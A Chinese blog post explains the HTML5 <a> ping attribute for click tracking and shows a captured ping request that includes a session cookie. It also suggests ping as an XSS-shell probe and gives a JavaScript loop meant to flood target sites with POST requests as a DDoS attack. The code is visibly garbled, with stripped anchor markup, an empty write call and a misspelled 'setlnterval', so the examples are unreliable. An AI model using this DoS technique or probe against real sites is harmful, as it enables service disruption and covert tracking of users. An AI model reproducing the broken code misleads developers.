谈谈HTML5a标签的ping属性用法

前言

今天谈谈a标签ping属性的用法，这个用法可以用来做埋点，及用户上报，关于埋点，我之前有文章写过，利用空白gif图片，实现数据上报，ping的这种方式可以发送post请求给后端，当然也可以通过这个做DDOS攻击，今天详细介绍一下。

Ping的用法

Ping的用法相对比较简单，我们通过举例的方式，为大家介绍：

href="https://www.haorooms.com/" ping="https://www.haorooms.com /nav">点击haorooms博客

当你点击‘点击haorooms博客’的时候，会异步发送一个POST请求到Ping后面指定的地址，Request Body的内容为PING。或许你会问，那

ping="https://www.haorooms.com /nav">点击haorooms博客

这段代码行不行？答案是否定的，和HTML中的a标签一样，HTML5中href这个属性必须存在与a中，不然Ping也是不会运行的。

应用一，埋点上报

我们可以看到 ping 请求的 content-type 是 text/ping，包含了用户的 User-Agent，是否跨域，目标来源地址等信息，非常方便数据收集的时候进行追踪。可以利用这个进行埋点上报，点击上报等。
Ping可以进行广告追踪，它可以统计用户都点击了哪些链接以及次数，并使用POST请求把这些信息发送到广告商的服务器上。那么POST的这些信息都包含了什么呢，简单来说HTTP Header的内容都会有，我们来看一个截获的完整信息

HOST: haorooms.com

CONTENT-LENGTH: 4

ORIGIN: http://mail.163.com

PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977

USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36

PING-TO: http://www.baidu.com/

CONTENT-TYPE: text/ping

ACCEPT: */*

REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977

ACCEPT-ENCODING: gzip, deflate

ACCEPT-LANGUAGE: zh-CN,zh;q=0.8

COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13

CACHE-CONTROL: max-age=0

CONNECTION: keep-alive

PING-FROM、USER-AGENT、REFERER这三个关键信息，直接泄漏了用户的隐私（但几个月前，百度已宣布不支持REFERER）。而这也为我们最爱的XSSSHELL又提供了一个小插件。对于图片探针如果没了新鲜感，那么请试试Ping探针吧，简单的一句

href="" ping=>

就搞定！

ping 属性的优势

1、无需 JavaScript 代码参与，网页功能异常也能上报；

2、不受浏览器刷新、跳转过关闭影响，也不会阻塞页面后续行为，这一点和 navigator.sendBeacon()
类似，可以保证数据上报的准确性； 支持跨域；

href="https://www.haorooms.com/"  ping="https://www.baidu.com/ad.php">点击我

3、可上报大量数据，因为是 POST 请求；

4、语义明确，使用方便，灵活自主。

ping 属性的劣势

1、只能支持点击行为的上报，如果是进入视区，或弹框显示的上报，需要额外触发下元素的 click() 行为；

2、只能支持 a 元素，在其他元素上设置 ping 属性没有作用，这就限制了其使用范围，因为很多开发喜欢 div 一把梭。

3、只能是 POST 请求，目前主流的数据统计还是日志中的 GET 请求，不能复用现有的基建。

4、出生不好，身为 HTML 属性，天然受某些开发者无视与不屑。

5、适合在移动端项目使用，PC端需要酌情使用（不需要考虑上报总量的情况下），因为目前 IE 和 Firefox
浏览器都不支持（或没有默认开启支持）。

应用二，DDOS攻击

根据Ping发送POST请求这个特性，我们可以使用循环使之不停的向一个地址追加POST请求，造成DOS攻击。

var arr = ['https://www.haorooms1.com', 'https://www.haorooms2.com', 'https://www.haorooms3.com'];

function haoroomsDOS( ){
var indexarr = Math.floor((Math.random( )*arr.length));

    document.writeln("");

}

if(arr.length>0){
var htimename = setlnterval("haoroomsDOS()", 1000);

}

防御方法

web服务器可以通过WAF（如：ShareWAF，http://www.sharewaf.com/）等拦截含有“Ping… HTTP headers的请求。